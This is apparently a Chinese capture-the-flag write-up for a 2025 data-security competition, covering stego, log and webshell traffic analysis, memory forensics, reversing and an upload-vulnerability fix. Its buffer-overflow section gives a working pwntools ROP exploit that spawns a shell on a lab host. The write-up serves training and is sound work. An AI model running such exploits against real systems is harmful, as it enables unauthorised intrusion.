2025自治区工会杯数据安全管理员竞赛 部分WP

2025自治区”工会杯” 数据安全管理员竞赛

奇怪的图片

拿到图片很容易发现图片有下半截不全 先用010Editor分析图片内容 并修改图片高度

得到一个密码

再分析文件

发现文件里拼接一个压缩包 使用 binwalk 或者foremost 分离文件

使用 密码解密压缩包 得到flag

日志分析

筛选 响应200的POST请求 发现明显的webshell请求特征 d7b3ac8db0f44801b24000d3e6551799 即是密码

流量数据分析

题目:流量数据分析1

问题1:找到攻击者使用的 WebShell 木马文件名称,将木马文件名作为flag进行提交。

64a426f73480e39e01589dcc832b5b58.php

题目:流量数据分析2

问题2:识别 WebShell 建立连接时使用的 KEY 密钥,并以 FLAG{} 格式提交。

找到上传的php流量

使用base64解密

2591c98b70119fe6

题目:流量数据分析3

问题3:攻击者最终读取了 flag.txt 文件,请将该文件内容作为 FLAG{} 格式提交。

CTF-NetA 哥斯拉流量解密手动设置秘钥为上题的key 解密

flag{DC505D30-77D6-41D9-9211-E476ABC8A7E4}

缓冲区溢出

逆向分析需要绕过第一次read 才能利用第二次read进行溢出 可以使用负数绕过

可以使用 pwnpasi 快速获取需要的地址

bin/sh 地址

编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# 连接目标
# p = process('./pwn') # 本地测试
p = remote('192.168.200.202', 28860) # 实际地址
p.recvuntil(b"PWN1\n")
# 1. 绕过 buf > 8 检查
p.send(b'\x81') # 0x81 = -127, 所以 buf > 8 为 false

# 最终 payload:
payload = b'A' * (80+8) # 填充
payload += p64(0x400863) # pop rdi; ret
payload += p64(0x400884) # bin/sh
payload += p64(0x400571) # ret
payload += p64(0x4005b0) # system

# 发送 payload
p.send(payload)

# 交互
p.interactive()

内存取证

题目来自 NepCTF 2025-客服小美

使用 TokeiiLovelyMem 工具 一把梭

题目1: 受攻击的用户名

查看系统信息

题目2: 恶意程序传输 ip+端口

查看网络信息

题目3: 被窃取的数据

cs流量解密

使用进程解密cs流量

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import struct

# 程序中 v8 数组的常量
v8_0 = 0x4316E277C0B6A066
v8_1 = 0x120182B523B0D340
v8_2 = 0x0000155483E46721

# 拼接成与内存一致的小端序字节串
target = struct.pack("<QQQ", v8_0, v8_1, v8_2)

def nibbleswap(b: int) -> int:
"""程序中 s[i] = (16*b) | (b >> 4) 等价于高低半字节交换"""
return ((b & 0x0F) << 4) | ((b & 0xF0) >> 4)

# Step1: nibble 交换 (自反运算)
after_func = bytes(nibbleswap(x) for x in target)

# Step2: 逆前缀异或 (t[i] = s[i] ^ t[i-1], s[0] = t[0])
orig = bytearray()
for i, t in enumerate(after_func):
if i == 0:
orig.append(t)
else:
orig.append(t ^ after_func[i-1])

# Step3: 遇到 0 截断并转 ASCII
flag_bytes = orig.split(b"\x00", 1)[0]
flag = flag_bytes.decode("ascii", errors="ignore")

print("Recovered flag:", flag)

# 可选验证
def forward_transform(s_bytes: bytes) -> bytes:
s = bytearray(s_bytes)
for i in range(1, min(30, len(s))):
if s[i] == 0:
break
s[i] ^= s[i-1]
out = bytearray()
for i in range(min(30, len(s))):
if s[i] == 0:
break
out.append(nibbleswap(s[i]))
return bytes(out)

verify = forward_transform(flag_bytes)
print("Matches target prefix:", target.startswith(verify))

上传漏洞修复

登录服务器 查了var/www 目录在upload 目录中发现ma.php

分析upload.php 在过滤后缀数组里加上 .php 禁止php 文件上传

删除 ma.php

程序判定后在根目录出现flag